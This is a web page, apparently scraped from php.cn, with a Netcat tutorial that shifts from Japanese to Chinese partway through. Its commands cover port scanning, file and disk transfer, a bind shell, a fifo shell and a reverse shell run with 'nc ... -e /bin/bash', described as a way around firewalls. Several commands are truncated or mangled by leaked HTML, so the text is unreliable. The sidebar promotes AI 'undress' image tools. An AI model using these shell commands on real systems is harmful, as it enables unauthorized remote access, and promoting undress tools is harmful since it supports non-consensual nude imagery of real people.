Linux の Netcat コマンド

Oct 15, 2017 am 10:36 AM
linux 注文

[はじめに] Netcat は、TCP および UDP を通じてネットワーク内のデータを読み書きできるネットワーク ツールのスイス アーミー ナイフです。他のツールと組み合わせたり、リダイレクトしたりすることで、スクリプト内でさまざまな方法で使用できます。 Netcat コマンドを使用して達成できることは驚くべきことです。 Netcat は 2 台のコンピューター間の接続を確立することです

Netcat はネットワーク ツールのスイス アーミー ナイフであり、TCP と UDP を介してネットワーク内のデータを読み書きできます。他のツールと組み合わせたり、リダイレクトしたりすることで、スクリプト内でさまざまな方法で使用できます。 Netcat コマンドを使用して達成できることは驚くべきことです。

Netcat が行うことは、2 台のコンピューター間のリンクを確立し、2 つのデータ ストリームを返すことだけです。その後、何ができるかはあなたの想像力次第です。サーバーをセットアップしたり、ファイルを転送したり、友人とチャットしたり、メディアをストリーミングしたり、他のプロトコルのスタンドアロン クライアントとして使用したりできます。

以下は Netcat の使用例です。

[A(172.31.100.7) B(172.31.100.23)]

Linux Netcat コマンドの例:

1. ポート スキャン

ポート スキャンはシステム管理者によってよく使用されます。およびハッカー 一部のマシンで開いているポートを検出し、システムの脆弱性を特定するのに使用されます。

$nc -z -v -n 172.31.100.7 21-25
ログイン後にコピー

は TCP または UDP モードで実行できます。デフォルトは TCP です。

  • z パラメータは、Netcat に 0 IO を使用するように指示します。これは、接続が閉じられるとデータがなくなることを意味します。交換されます (翻訳者注: ここでの翻訳は正確ではありません。別のより良い翻訳がある場合は、ご指摘ください)

  • v パラメータは冗長オプションの使用を指します (翻訳者注: 冗長な出力)

  • n パラメータNetcat に DNS 逆クエリを使用しないように指示する IP アドレスのドメイン名

このコマンドは、21 から 25 までの開いているポートをすべて出力します。バナーは、接続しているサービスによって送信されるテキスト メッセージです。バナー情報は、脆弱性やサービスの種類とバージョンを特定する場合に非常に役立ちます。ただし、すべてのサービスがバナーを送信するわけではありません。

開いているポートを見つけたら、Netcat 接続サービスを使用してそのバナーを簡単に取得できます。

$ nc -v 172.31.100.7 21
ログイン後にコピー

Netcat コマンドは、開いているポート 21 に接続し、このポートで実行されているサービスのバナー情報を出力します。

チャットサーバー

友達とチャットしたい場合は、使用できるソフトウェアや情報サービスがたくさんあります。しかし、そのような贅沢な構成を持っていない場合、たとえば、コンピューター室にいて、すべての外部接続が制限されている場合、一日中隣の部屋に座っている友人とどうやって通信するのでしょうか?落ち込む必要はありません。Netcat にはそのような方法が用意されています。必要なのは、チャット サーバー (あらかじめ決められたポート) を作成するだけで、チャット サーバーから連絡できるようになります。

サーバー

$nc -l 1567
ログイン後にコピー
ログイン後にコピー
ログイン後にコピー

Netcat コマンドはポート 1567 で TCP サーバーを起動し、すべての標準出力と入力はこのポートに出力されます。出力と入力の両方がこのシェルに表示されます。

クライアント

$nc 172.31.100.7 1567
ログイン後にコピー
ログイン後にコピー

マシン B で入力した内容はマシン A に表示されます。

3. ファイル転送

ほとんどの場合、私たちはネットワークまたは他のツールを介してファイルを転送しようとします。 FTP、SCP、SMB など、さまざまな方法がありますが、一時的または 1 回だけファイルを転送する必要がある場合、マシンにソフトウェアをインストールして構成するのは時間を無駄にする価値があります。ファイル file.txt を A から B に転送するとします。 A または B のいずれかがサーバーまたはクライアントとして機能します。以下では、A がサーバーとして機能し、B がクライアントとして機能します。

サーバー

$nc -l 1567 <p>クライアント</p><pre class="brush:php;toolbar:false">$nc -n 172.31.100.7 1567 > file.txt
ログイン後にコピー

ここでは、A にサーバーを作成し、Netcat の入力をファイル file.txt にリダイレクトします。その後、誰かがポートに正常に接続すると、Netcat は file.txt のファイル内容を送信します。

クライアント側では、出力を file.txt にリダイレクトします。B が A に接続すると、A はファイルのコンテンツを送信し、B はファイルのコンテンツを file.txt に保存します。

ファイル ソースを作成する必要はありません。サーバーでは、逆の方法を使用することもできます。以下のように、B から A にファイルを送信していますが、サーバーは A 上に作成されています。今回必要なのは、Netcat の出力をリダイレクトし、B の入力ファイルをリダイレクトするだけです。サーバーとしての

B

サーバー

$nc -l 1567 > file.txt
ログイン後にコピー

クライアント

nc 172.31.100.23 1567 <p>4. ディレクトリ転送</p><p> ファイルの送信は非常に簡単ですが、複数のファイルまたはディレクトリ全体を送信したい場合も非常に簡単です。圧縮ツール tar を使用して、圧縮パッケージを圧縮して送信します。 </p><p>ネットワーク経由で A から B にディレクトリを転送したい場合。 </p><p>サーバー</p><pre class="brush:php;toolbar:false">$tar -cvf – dir_name | nc -l 1567
ログイン後にコピー

クライアント

$nc -n 172.31.100.7 1567 | tar -xvf -
ログイン後にコピー

ここでは、サーバーAでtarアーカイブを作成し、それをコンソールでリダイレクトし、パイプを使用してNetcatにリダイレクトします。Netcatはネットワーク経由でそれを送信できます。

クライアントでは、Netcat パイプラインを通じて圧縮パッケージをダウンロードし、ファイルを開きます。

帯域幅を節約して圧縮パッケージを送信したい場合は、bzip2 またはその他の圧縮ツールを使用できます。

サーバー

$tar -cvf – dir_name| bzip2 -z | nc -l 1567
ログイン後にコピー

bzip2 で圧縮

クライアント

$nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf -
ログイン後にコピー

bzip2 を使用して解凍

5. ネットワーク経由で送信するデータを暗号化します

ネットワーク経由で送信するデータのセキュリティが心配な場合は、次のことができます。 mcrypt などのツールを使用して事前に暗号化する前にデータを送信してください。

サーバー側

$nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt
ログイン後にコピー

mcrypt ツールを使用してデータを暗号化します。

クライアント

$mcrypt –flush –bare -F -q -m ecb <p> は mcrypt ツールを使用してデータを復号化します。 </p><p>以上两个命令会提示需要密码,确保两端使用相同的密码。</p><p>这里我们是使用mcrypt用来加密,使用其它任意加密工具都可以。</p><p>6. 流视频</p><p>虽然不是生成流视频的最好方法,但如果服务器上没有特定的工具,使用Netcat,我们仍然有希望做成这件事。</p><p>服务端</p><pre class="brush:php;toolbar:false">$cat video.avi | nc -l 1567
ログイン後にコピー

这里我们只是从一个视频文件中读入并重定向输出到Netcat客户端

$nc 172.31.100.7 1567 | mplayer -vo x11 -cache 3000 -
ログイン後にコピー

这里我们从socket中读入数据并重定向到mplayer。

7、克隆一个设备

如果你已经安装配置一台Linux机器并且需要重复同样的操作对其他的机器,而你不想在重复配置一遍。不在需要重复配置安装的过程,只启动另一台机器的一些引导可以随身碟和克隆你的机器。

克隆Linux PC很简单,假如你的系统在磁盘/dev/sda上

Server

$dd if=/dev/sda | nc -l 1567
ログイン後にコピー

Client

$nc -n 172.31.100.7 1567 | dd of=/dev/sda
ログイン後にコピー

dd是一个从磁盘读取原始数据的工具,我通过Netcat服务器重定向它的输出流到其他机器并且写入到磁盘中,它会随着分区表拷贝所有的信息。但是如果我们已经做过分区并且只需要克隆root分区,我们可以根据我们系统root分区的位置,更改sda 为sda1,sda2.等等。

8、打开一个shell

我们已经用过远程shell-使用telnet和ssh,但是如果这两个命令没有安装并且我们没有权限安装他们,我们也可以使用Netcat创建远程shell。

假设你的Netcat支持 -c -e 参数(默认 Netcat)

Server

$nc -l 1567 -e /bin/bash -i
ログイン後にコピー

Client

$nc 172.31.100.7 1567
ログイン後にコピー
ログイン後にコピー

这里我们已经创建了一个Netcat服务器并且表示当它连接成功时执行/bin/bash

假如Netcat 不支持-c 或者 -e 参数(openbsd Netcat),我们仍然能够创建远程shell

Server

$mkfifo /tmp/tmp_fifo$cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo
ログイン後にコピー

这里我们创建了一个fifo文件,然后使用管道命令把这个fifo文件内容定向到shell 2>&1中。是用来重定向标准错误输出和标准输出,然后管道到Netcat 运行的端口1567上。至此,我们已经把Netcat的输出重定向到fifo文件中。

说明:从网络收到的输入写到fifo文件中

  • cat 命令读取fifo文件并且其内容发送给sh命令

  • sh命令进程受到输入并把它写回到Netcat。

  • Netcat 通过网络发送输出到client

至于为什么会成功是因为管道使命令平行执行,fifo文件用来替代正常文件,因为fifo使读取等待而如果是一个普通文件,cat命令会尽快结束并开始读取空文件。

9、在客户端仅仅简单连接到服务器

Client

$nc -n 172.31.100.7 1567
ログイン後にコピー

你会得到一个shell提示符在客户端

反向shell

反向shell是人曾经在客户端打开的shell。反向shell这样命名是因为不同于其他配置,这里服务器使用的是由客户提供的服务。

服务端

$nc -l 1567
ログイン後にコピー
ログイン後にコピー
ログイン後にコピー

在客户端,简单地告诉Netcat在连接完成后,执行shell。

客户端

$nc 172.31.100.7 1567 -e /bin/bash
ログイン後にコピー

现在,什么是反向shell的特别之处呢

反向shell经常被用来绕过防火墙的限制,如阻止入站连接。例如,我有一个专用IP地址为172.31.100.7,我使用代理服务器连接到外部网络。如果我想从网络外部访问 这台机器如1.2.3.4的shell,那么我会用反向外壳用于这一目的。

10. 指定源端口

假设你的防火墙过滤除25端口外其它所有端口,你需要使用-p选项指定源端口。

服务器端

$nc -l 1567
ログイン後にコピー
ログイン後にコピー
ログイン後にコピー

客户端

$nc 172.31.100.7 1567 -p 25
ログイン後にコピー

使用1024以内的端口需要root权限。

该命令将在客户端开启25端口用于通讯,否则将使用随机端口。

11、指定源地址

假设你的机器有多个地址,希望明确指定使用哪个地址用于外部数据通讯。我们可以在Netcat中使用-s选项指定ip地址。

服务器端

$nc -u -l 1567 <p>客户端</p><pre class="brush:php;toolbar:false">$nc -u 172.31.100.7 1567 -s 172.31.100.5 > file.txt
ログイン後にコピー

该命令将绑定地址172.31.100.5。

这仅仅是使用Netcat的一些示例。

其它用途有:

  • 使用-t选项模拟Telnet客户端,

  • HTTP客户端用于下载文件,

  • 连接到邮件服务器,使用SMTP协议检查邮件,

  • 使用ffmpeg截取屏幕并通过流式传输分享,等等。其它更多用途。

简单来说,只要你了解协议就可以使用Netcat作为网络通讯媒介,实现各种客户端。

Linux の Netcat コマンド

以上がLinux の Netcat コマンドの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

CentosとUbuntuの違い CentosとUbuntuの違い Apr 14, 2025 pm 09:09 PM

Centosとubuntuの重要な違いは次のとおりです。起源(CentosはRed Hat、for Enterprises、UbuntuはDebianに由来します。個人用のDebianに由来します)、パッケージ管理(CentosはYumを使用し、安定性に焦点を当てます。チュートリアルとドキュメント)、使用(Centosはサーバーに偏っています。Ubuntuはサーバーやデスクトップに適しています)、その他の違いにはインストールのシンプルさが含まれます(Centos is Thin)

Dockerデスクトップの使用方法 Dockerデスクトップの使用方法 Apr 15, 2025 am 11:45 AM

Dockerデスクトップの使用方法は? Dockerデスクトップは、ローカルマシンでDockerコンテナを実行するためのツールです。使用する手順には次のものがあります。1。Dockerデスクトップをインストールします。 2。Dockerデスクトップを開始します。 3。Docker Imageを作成します(DockerFileを使用); 4. Docker画像をビルド(Docker Buildを使用); 5。Dockerコンテナを実行します(Docker Runを使用)。

メンテナンスを停止した後のCentosの選択 メンテナンスを停止した後のCentosの選択 Apr 14, 2025 pm 08:51 PM

Centosは廃止されました、代替品には次のものが含まれます。1。RockyLinux(最高の互換性)。 2。アルマリン(Centosと互換性); 3。Ubuntuサーバー(設定が必要); 4。RedHat Enterprise Linux(コマーシャルバージョン、有料ライセンス); 5。OracleLinux(CentosとRhelと互換性があります)。移行する場合、考慮事項は次のとおりです。互換性、可用性、サポート、コスト、およびコミュニティサポート。

Centosをインストールする方法 Centosをインストールする方法 Apr 14, 2025 pm 09:03 PM

Centosのインストール手順:ISO画像をダウンロードし、起動可能なメディアを燃やします。起動してインストールソースを選択します。言語とキーボードのレイアウトを選択します。ネットワークを構成します。ハードディスクをパーティション化します。システムクロックを設定します。ルートユーザーを作成します。ソフトウェアパッケージを選択します。インストールを開始します。インストールが完了した後、ハードディスクから再起動して起動します。

Dockerの原則の詳細な説明 Dockerの原則の詳細な説明 Apr 14, 2025 pm 11:57 PM

DockerはLinuxカーネル機能を使用して、効率的で孤立したアプリケーションランニング環境を提供します。その作業原則は次のとおりです。1。ミラーは、アプリケーションを実行するために必要なすべてを含む読み取り専用テンプレートとして使用されます。 2。ユニオンファイルシステム(UnionFS)は、違いを保存するだけで、スペースを節約し、高速化する複数のファイルシステムをスタックします。 3.デーモンはミラーとコンテナを管理し、クライアントはそれらをインタラクションに使用します。 4。名前空間とcgroupsは、コンテナの分離とリソースの制限を実装します。 5.複数のネットワークモードは、コンテナの相互接続をサポートします。これらのコア概念を理解することによってのみ、Dockerをよりよく利用できます。

Dockerプロセスを表示する方法 Dockerプロセスを表示する方法 Apr 15, 2025 am 11:48 AM

Dockerプロセス表示方法:1。DockerCLIコマンド:Docker PS; 2。SystemDCLIコマンド:SystemCTL Status Docker; 3。CLIコマンドを作成するDocker:Docker-Compose PS。 4。プロセスエクスプローラー(Windows); 5。 /procディレクトリ(Linux)。

VSCODEに必要なコンピューター構成 VSCODEに必要なコンピューター構成 Apr 15, 2025 pm 09:48 PM

VSコードシステムの要件:オペレーティングシステム:オペレーティングシステム:Windows 10以降、MACOS 10.12以上、Linux Distributionプロセッサ:最小1.6 GHz、推奨2.0 GHz以上のメモリ:最小512 MB、推奨4 GB以上のストレージスペース:最低250 MB以上:その他の要件を推奨:安定ネットワーク接続、XORG/WAYLAND(Linux)

Docker画像が失敗した場合はどうすればよいですか Docker画像が失敗した場合はどうすればよいですか Apr 15, 2025 am 11:21 AM

障害のあるDocker画像ビルドのトラブルシューティング手順:DockerFileの構文と依存関係バージョンを確認します。ビルドコンテキストに必要なソースコードと依存関係が含まれているかどうかを確認します。エラーの詳細については、ビルドログを表示します。 -targetオプションを使用して、階層フェーズを構築して障害点を識別します。 Dockerエンジンの最新バージョンを使用してください。 -t [image-name]:デバッグモードで画像を作成して、問題をデバッグします。ディスクスペースを確認し、十分であることを確認してください。 Selinuxを無効にして、ビルドプロセスへの干渉を防ぎます。コミュニティプラットフォームに助けを求め、DockerFilesを提供し、より具体的な提案のためにログの説明を作成します。

See all articles